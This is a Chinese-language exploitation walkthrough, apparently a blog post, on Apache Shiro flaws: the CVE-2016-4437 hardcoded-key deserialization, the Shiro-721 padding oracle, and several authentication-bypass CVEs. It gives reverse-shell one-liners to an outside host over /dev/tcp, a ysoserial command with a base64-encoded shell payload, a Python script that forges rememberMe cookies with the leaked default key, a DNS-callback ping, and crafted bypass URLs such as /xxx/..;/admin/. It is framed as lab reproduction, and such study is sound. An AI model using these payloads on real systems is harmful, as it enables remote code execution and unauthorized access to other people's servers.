Apache Shiro是常见的Java安全框架，执行身份验证、授权、密码和会话管理。Shiro组件漏洞主要分为两种类型，一种是java反序列化造成的远程代码执行漏洞，另一种是身份验证绕过漏洞。
在官方对rememberMe字段反序列化进行秘钥随机化，AES加密模式更换后，暂无新型反序列化漏洞的出现。但是在身份验证绕过的补丁修复上，多次出现绕过情况，多是由于补丁修复过程中考虑不周全。
只要rememberMe的AES加密密钥泄露，无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段，那么就可能存在此漏洞。
shiro默认使用CookieRememberMeManager，对rememberMe的cookie做了加密处理，在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。
服务器端识别身份解密处理cookie的流程则是：获取rememberMe cookie ->base64 解码->AES解密（加密密钥硬编码）->反序列化（未作过滤处理）。
Apache Shiro 1.2.4反序列化漏洞（CVE-2016-4437）
漏洞原理：Shiro1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为：kPH+bIxk5D2deZiIxcaaaA==
影响版本：Apache Shiro <= 1.2.4
访问存在漏洞的网站，勾选Remenber me，输入账号：admin密码：vulhub
ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
将反弹命令” bash -i >& /dev/tcp/192.168.31.74/3333 0>&1 “base64加密填在下面的命令中，执行
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 7777 CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjc0LzMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}'
python3 Shiro_CVE-2016-4437.py 192.168.31.74:7777
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
将伪造的cookie替换进去，nc监听。
（PS：看了网上很多复现过程，发现他们利用链都没有选对，不懂为什么居然能复现成功）
利用工具也可以直接getshell。
Apache Shiro 721反序列化漏洞（CVE-2019-12422）
漏洞原理：该漏洞是由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题，用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段，并重新请求网站，进行反序列化攻击，最终导致任意代码执行。
影响版本：Apache Shiro 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
环境搭建：下载https://github.com/3ndz/Shiro-721.git ，将其中的 Shiro-721-master\Docker\src\samples-web-1.4.1.war放入tomcat的webapps中，启动tomcat访问127.0.0.1:8080/samples-web-1.4.1/
首先登陆进去获取到合法的Cookie值。
参考这位大佬的复现没成功，主要是因为爆破时间是在太长了，试了几次失败就不试了Apache Shiro系列漏洞利用以及实战总结jammny的博客-CSDN博客shiro漏洞。
大概流程如下
执行ysoserial.jarysoserial-0.0.6-SNAPSHOT-BETA-all.jar
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 bash -i >& /dev/tcp/xx.xx.xx.xx/4444 0>&1' > linux_shell.class
使用PaddingOracleAttack-1.0-SNAPSHOT.jar进行漏洞利用longofo/PaddingOracleAttack-Shiro-721: Shiro-721 Padding Oracle Attack (github.com)。
或者使用shiro_exp.py进行漏洞利用wuppp/shiro_rce_exp: Shiro RCE (Padding Oracle Attack) (github.com)。
注意：爆破时间较长（一小时左右），payload长度决定爆破速度快慢。
使用工具检测漏洞，执行touch /tmp/test111。
ping %USERNAME%.xxxx.ceye.io
1.该漏洞需要登录后获取到合法的Cookie: rememberMe=XXX后才可以进行利用, 看起来不是很好利用 但实际上有一些网站是开放注册的, 而且这个洞不需要知道服务端密钥 所以后续的利用还是可以同Shiro-550一样利用, 而且这里是AES加密的, 自带过WAF属性 ；
2.如果攻击没有生效, 可以试一下删除Cookie中的JSESSIONID 字段, 很多时候这个字段存在的话, 服务端不会去处理 rememberMe。
Apache Shiro 认证绕过漏洞（CVE-2020-1957）
漏洞原理：在Apache Shiro 1.5.2以前的版本中，在使用Spring动态控制器时，攻击者通过构造..;这样的跳转，可以绕过Shiro中对目录的权限限制。
影响版本：Apache Shiro <1.5.2
环境搭建vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)
直接请求管理页面127.0.0.1:8080/admin，无法访问，将会被重定向到登录页面：
构造恶意请求/xxx/..;/admin/，即可绕过权限校验，访问到管理页面：
（通过网络判断，网站处理URI时会先经过 shiro 处理，再转发到 springboot 进行路由分发工作。而在shiro中，在对URI中的;进行处理时会将URI进行截断，然后对/xxx/..进行权限校验，校验通过之后再由springboot进行路由分发，然后springboot会将URI/xxx/..;/admin/解释为/admin/,这样我们就可以成功访问到原本访问不到的接口了。）
Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)
漏洞原理：在Apache Shiro 1.5.3之前的版本，将Apache Shiro与Spring控制器一起使用时，特制请求可能会导致身份验证绕过。
影响版本：Apache Shiro < 1.5.3且Spring 框架中只使用 Shiro 鉴权
在Shiro框架的网站后面拼接/;/查看页面是否正常 http://xxxxxx.com/;/login 若页面回显正常，则存在该漏洞
Apache Shiro 权限绕过漏洞（CVE-2020-13933）
漏洞详情：Apache Shiro的CVE-2020-11989修补补丁依旧存在缺陷，由于shiro和spring在处理url中仍然存在差别，通过构造特殊的HTTP请求，可以再次绕过授权，访问未授权的信息。访问/read/xx，被302重定向到了/login, 而访问/read/%3bxxx，能够绕过认证。
漏洞版本：Shiro<1.6.0
